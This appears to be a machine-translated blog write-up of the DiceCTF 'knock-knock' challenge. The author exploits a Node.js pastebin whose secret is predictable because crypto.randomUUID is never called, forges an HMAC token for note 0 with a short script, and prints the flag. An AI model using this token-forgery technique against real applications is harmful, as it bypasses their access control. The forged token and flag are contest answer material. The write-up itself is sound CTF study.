当前位置:网站首页>DiceCTF - knock-knock
DiceCTF - knock-knock
2022-06-30 14:19:00 【Ff. cheng】
Together nodejs subject , Given the source code and dockerfile, from dockerfile know nodejs Version is 17.4.0, One pastebin


Return can be xss, But it doesn't come back cookie, therefore , Audit the code
The code logic is simple flag stay notes[0] position , But because everyone returns token inequality , So I want to forge token Switch to id=0 It seems impossible
You can find token The main logic of generation depends on two parts
this.secret = `secret-${crypto.randomUUID}`;
and
return crypto.createHmac('sha256',this.secret).update(id.toString()).digest('hex');
When I want to use my nodejs14 Try to generate secret Exception found at

So I went to find it 17 Version of the online website , Found a loophole ,nodejs-online

randomUUID The lack of () Lead to this.secret For fixing , This is a forgery token The opportunity of
So it can be forged token
const crypto = require('crypto');
let secret = `secret-${crypto.randomUUID}`;
let id = 0;
console.log(crypto.createHmac('sha256', secret).update(id.toString()).digest('hex'));
Another manual method
Put the error message base64 code
console.log(btoa(`secret-${crypto.randomUUID}`));
Generate
c2VjcmV0LWZ1bmN0aW9uIHJhbmRvbVVVSUQob3B0aW9ucykgewogIGlmIChvcHRpb25zICE9PSB1bmRlZmluZWQpCiAgICB2YWxpZGF0ZU9iamVjdChvcHRpb25zLCAnb3B0aW9ucycpOwogIGNvbnN0IHsKICAgIGRpc2FibGVFbnRyb3B5Q2FjaGUgPSBmYWxzZSwKICB9ID0gb3B0aW9ucyB8fCB7fTsKCiAgdmFsaWRhdGVCb29sZWFuKGRpc2FibGVFbnRyb3B5Q2FjaGUsICdvcHRpb25zLmRpc2FibGVFbnRyb3B5Q2FjaGUnKTsKCiAgcmV0dXJuIGRpc2FibGVFbnRyb3B5Q2FjaGUgPyBnZXRVbmJ1ZmZlcmVkVVVJRCgpIDogZ2V0QnVmZmVyZWRVVUlEKCk7Cn0=
utilize hmac forge token

visit
url/note?id=0&token=7bd881fe5b4dcc6cdafc3e86b4a70e07cfd12b821e09a81b976d451282f6e264
FLAG:dice{1_d00r_y0u_d00r_w3_a11_d00r_f0r_1_d00r}
边栏推荐
- 从控制层返回到js的json数据带“\”转译符,怎么去掉
- Logiciel de récupération de données easyrecovery15 téléchargement
- With the development of industrial Internet, the landing and application of the Internet has become wider
- IM即时通讯应用开发中无法解决的“顽疾”
- Zend studio how to import an existing project
- (8) JMeter component detailed once only controller
- Data recovery software easyrecovery15 Download
- Go language mutex lock
- Apache Doris comparison optimization Encyclopedia
- Pit used by go language array type
猜你喜欢

Introduction to the construction and development of composer private warehouse

Deep understanding Net (2) kernel mode 2 Kernel mode construct semaphone

Heavyweight: the domestic ide was released, developed by Alibaba, and is completely open source!

This article explains the concepts of typed array, arraybuffer, typedarray, DataView, etc

步骤详解 | 助您轻松提交 Google Play 数据安全表单

【Redis 系列】redis 学习十六,redis 字典(map) 及其核心编码结构

Pytoch viewing model parameter quantity and calculation quantity

Tencent two sides: @bean and @component are used on the same class. What happens?

Lifting scanning tool

Detailed explanation of the first three passes of upload Labs
随机推荐
Shell programming overview
Implementation of forwarding server using IO multiplexing
@ResponseBody的作用
XSS challenge (6-10) more detailed answers
XSS challenge (1-5) more detailed answers
[geek challenge 2019] PHP problem solving record
Mutex lock, read / write lock, spin lock, pessimistic lock, and optimistic lock
Unity animator parameter
Geoffreyhinton: my 50 years of in-depth study and Research on mental skills
Configuration of headquarters dual computer hot standby and branch infrastructure for firewall Foundation
PHP multidimensional array sorting
Meaning of while (~scanf ("%d%d", & A, & B))
Tencent two sides: @bean and @component are used on the same class. What happens?
LeetCode_ Stack_ Medium_ 227. basic calculator II (without brackets)
[scientific research data processing] [basic] category variable frequency analysis chart, numerical variable distribution chart and normality test (including lognormal)
【科研数据处理】[基础]类别变量频数分析图表、数值变量分布图表与正态性检验(包含对数正态)
Alipay certificate mode payment interface
With the development of industrial Internet, the landing and application of the Internet has become wider
Go language mutex lock
[Title brushing] heater